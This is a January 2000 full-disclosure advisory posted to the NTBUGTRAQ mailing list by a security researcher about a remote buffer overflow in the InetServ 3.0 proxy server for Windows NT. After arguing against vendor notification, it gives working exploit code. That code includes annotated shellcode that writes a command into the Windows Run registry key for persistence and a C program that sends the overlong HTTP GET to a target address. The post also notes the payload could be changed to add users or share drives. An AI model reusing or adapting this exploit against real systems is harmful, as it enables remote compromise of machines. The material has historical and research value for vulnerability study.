From: hoglund@IEWAY.COM
Sent: Monday, January 17, 2000 11:50 PM
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Remote Buffer Exploit - InetServ 3.0

ADVISORY
--------
Greg Hoglund, Jan 2000
http://www.rootkit.com

- Reporting LIVE from RSA 2000 -

  "The San Jose Convention Center...
  a contingent of trenchcoats mass in a dark corner
  laptops flipped to trade zer0-Day 'sploits..."

Target: InetServ 3.0 - Windows NT - Remote Root

Theme: Poorly Tested Software

I believe in full disclosure.  A year ago I would have contacted the
software vendor and informed them of a security problem, and waited a
period of time before releasing the information.  On or about Jan 1, 2000 I
abondoned this philosophy.  The number of unreleased, unpatched exploits
related to buffer conditions is staggering.  My deduction follows.

I, like many Hackers, have personally written software to test for and
locate new buffer overflows in software.  Occasionally for fun I will
download a platter of the latest shareware and run it thru the Mill.  As
expected, I will find exploitable conditions.  However, the sheer number of
exploitable conditions surprises even myself.

After downloading a copy of InetServ 3.0 - a proxy server for Windows NT, I
started testing a single remotely-addressable function of the software - a
web service.  In less than 1 minute...my automated testing software had
already located a buffer overflow - a childlike and brainless overflow.  It
appeared that an http GET request with a 537 byte path would own EIP (in
other words, allow me to control the remote processor).

This is not an isolated phenomenon.  This advisory is not about that one
buffer overflow.  In fact, I will wager there are at least 10 discrete
buffer overflow conditions in this software package alone, all of them
exploitable from remote.  There may be even more.  The fact that I was able
to find such a simple and easy to discover bug (the GET request -
exploitable from a WEB Browser URL!) only substantiates that this piece of
software was never adequately tested in QA.

I wondered to myself - should I report this to the software vendor?  They
may need time to release a patch.  It then occured to me that I would only
find another buffer condition after they had released the patch - and once
again I would assume the burden of informing them.  In effect I realized
that what I needed to tell them was that their QA process either sucked, or
was non-existant.  By telling them about specific buffer overflows I am
actually performing QA for them - and they do not pay me to do that.  That
is not my responsibility.

(the epiphany occurs here)

It is not the responsibility of myself, or any hacker for that matter, to
perform QA for a software vendor.  It is only the responsibility of the
hacker to expose software which has clearly never been engineered properly.
 (need I bring up Seattle Labs Sendmail? - a target of embarassing levels
of exploit over the past few years - why bother?)

If you are responsible for deploying a large project, or you are investing
your company into a software solution - I have a single piece of advice:
HAVE THE SOFTWARE INDEPENDANTLY TESTED BY A QUALIFIED SOFTWARE LAB!  The
cost of doing this is far less than the cost of ownership if you invest in
poorly engineered software!  There are several commercial testing labs that
employ some great talent.  Software Quality is generally so bad that I
don't think insurance companies should touch your enterprise with a 10 foot
pole until a software lab has determined low risk.

(I step down from the podium)

Lets talk about this exploit:

The fact that the GET request causes an oveflow is far from noteworthy.  I
can tell just by the disassembly that there are many more overflows where
this came from.  (I actually tested several programs today, and all but one
had remote buffer overflow bugs - I leave the others for future cannon
fodder). What is worth talking about is the payload I designed for this
exploit.  So, the rest of the discussion is about the payload.

One of the most common things a payload does is open a remote shell.  A
number of months back I wrote a small intrusion prevention tool that
rendered all of these overflows harmless - an NT kernel patch that prevents
my server software from launching sub-processes.  Gee, all of the 'shell'
based overflow attacks have been demoted to ankle-biters.  Of course, those
of you with experience immediately realize that a payload can do anything
it wants - and as the virus underground has taught us - there are a million
ways to torture a computer.  Todays payload does not open a remote shell -
rather, it shares all of your hard drives without a password - and does
this without launching a single sub-process or even loading any new
functions.  We are going to attack the NT registry through functions
already loaded into the process space.

Most processes have useful functions already loaded into address space.
Using WDASM and VC++ I was able to find the memory location of the
following functions:

Name:                           Jump Table:             Actual (NTServer 4.0 SP3)
ADVAPI32.RegCloseKey            [43D004]                77DB75A9
ADVAPI32.RegCreateKeyExA        [43D008]                77DBA7F9
ADVAPI32.RegOpenKeyExA  [43D00C]                77DB851A
ADVAPI32.RegQueryValueExA       [43D010]                77DB8E19
ADVAPI32.RegSetValueExA [43D000]                77DBA979

Since we cannot be assured where the location of ADVAPI32.DLL will be
mapped, we simply use the jump table itself, which will be loaded in the
same location regardless.  In order to prevent NULL characters, I XOR my
data area with 0x80.  The payload first decodes the data area, then calls
the following functions in order to add a value to the windows RUN key:

RegOpenKeyEx();
RegSetValueEx();

In order to avoid NULL's I used an XOR between registers, as you see in code:
mov     eax, 77787748
mov     edx, 77777777
xor     eax, edx
push    eax

followed later only by:
mov     eax, 0x77659BAe
xor     eax, edx
push eax

These values translate to addresses in the local area which require a NULL
character, hence the XOR.  The value in the example is merely "cmd.exe /c"
with no parameters.  You could easily alter this to add a user to the
system, or share a drive.  For "script kiddie" purposes you will get
nothing here - you'll need to alter the cmd.exe string and alter the size
variable in the decode loop (shown here set to 0x46):

                xor     ecx, ecx
                mov ecx, 0x46
LOOP_TOP:
                dec             eax
                xor             [eax], 0x80
                dec             ecx
                jnz             LOOP_TOP (75 F9)

Once this runs, check your registry and you'll find the value in question.
The value will be executed upon the next reboot.  This is a very common way
for network worms to operate, incidentally.  The only snag when using an
http request is that there are some characters that are filtered or special
- so you must avoid these. This limits which machine instructions you can
directly inject - however there are always wasy to get around such
problems.  In conclusion, I merely am trying to demonstrate that there are
meny things a buffer overflow can do besides create a shell or download a
file - and many forms of host based IDS will not notice this.  Now clearly
the RUN key is common place for security-savvy people to look, but it could
have easily been something else more esoteric.

CODE FOLLOWS:

#include "windows.h"
#include "stdio.h"
#include "winsock.h"

#define TARGET_PORT 224
#define TARGET_IP "127.0.0.1"

char aSendBuffer[] =
        "GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" \
        //mov           eax, 0x12ED21FF
        //sub           al, 0xFF
        //rol           eax, 0x018
        //mov           ebx, eax
        "\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
        //              xor     ecx, ecx
        //              mov ecx, 0x46
        //LOOP_TOP:
        //              dec             eax
        //              xor             [eax], 0x80
        //              dec             ecx
        //              jnz             LOOP_TOP (75 F9)
        "\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \

        //push  ebx
        "\x53" \

        //mov   eax, 77787748
        //mov   edx, 77777777

        "\xB8\x48\x77\x78\x77" \
        "\xBA\x77\x77\x77\x77" \

        //xor   eax, edx
        //push  eax
        "\x33\xC2\x50" \

        //xor   eax, eax
        //push  eax
        "\x33\xC0\x50" \

        // mov  eax, 0x77659BAe
        // xor  eax, edx
        // push eax
        "\xB8\xAE\x9B\x65\x77\x33\xC2\x50"

        //mov   eax, F7777775
        //xor   eax, edx
        //push  eax
        "\xB8\x75\x77\x77\xF7" \
        "\x33\xC2\x50" \

        //mov   eax, 7734A77Bh
        //xor   eax, edx
        //call  [eax]
        "\xB8\x7B\xA7\x34\x77" \
        "\x33\xC2" \
        "\xFF\x10" \

        //mov   edi, ebx
        //mov   eax, 0x77659A63
        //xor   eax, edx
        //sub   ebx, eax
        //push  ebx
        //push  eax
        //push  1
        //xor   ecx, ecx
        //push  ecx
        //push  eax
        //push  [edi]
        //mov   eax, 0x7734A777
        //xor   eax, edx
        //call  [eax]
        "\x8B\xFB" \
        "\xBA\x77\x77\x77\x77" \
        "\xB8\x63\x9A\x65\x77\x33\xC2" \
        "\x2B\xD8\x53\x50" \
        "\x6A\x01\x33\xC9\x51" \
        "\xB8\x70\x9A\x65\x77" \
        "\x33\xC2\x50" \
        "\xFF\x37\xB8\x77\xA7\x34" \
        "\x77\x33\xC2\xFF\x10" \

        // halt or jump to somewhere harmless
        "\xCC" \
        "AAAAAAAAAAAAAAA" \

        // nop (int 3) 92
        // nop (int 3)
        // jmp
        "\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
        /* registry key path "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" */
        "\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
        "\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
        "\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
        "\xD2\xF5\xEE\x80" \
        /* value name "_UR_HAXORED_" */
        "\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
        /* the command "cmd.exe /c" */
        "\xE3\xED\xE4\xAE\xE5\xF8\xE5\xA0\xAF\xE3\x80\x80\x80\x80\x80";

int main(int argc, char* argv[])
{
        WSADATA wsaData;
        SOCKET s;
        SOCKADDR_IN sockaddr;

        sockaddr.sin_family = AF_INET;
        if(3 == argc)
        {
                int port = atoi(argv[2]);
                sockaddr.sin_port = htons(port);
        }
        else
        {
                sockaddr.sin_port = htons(TARGET_PORT);
        }
        if(2 <= argc)
        {
                sockaddr.sin_addr.S_un.S_addr = inet_addr(argv[2]);
        }
        else
        {
                sockaddr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
        }

        try
        {
                WSAStartup(MAKEWORD(2,0), &wsaData);
                s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if(INVALID_SOCKET == s)
                        throw WSAGetLastError();
                if(SOCKET_ERROR == connect(s, (SOCKADDR *)&sockaddr, sizeof(SOCKADDR)) )
                        throw WSAGetLastError();
                send(s, aSendBuffer, strlen(aSendBuffer), 0);
                closesocket(s);
                WSACleanup();
        }
        catch(int err)
        {
                fprintf(stderr, "error %d\n", err);
        }
        return 0;
}

ps. This took all day, I need a scotch...
Special Thanks: Barnaby Jack, DilDog, Jeremy Kothe - your skills are Elite,
thanks for publishing.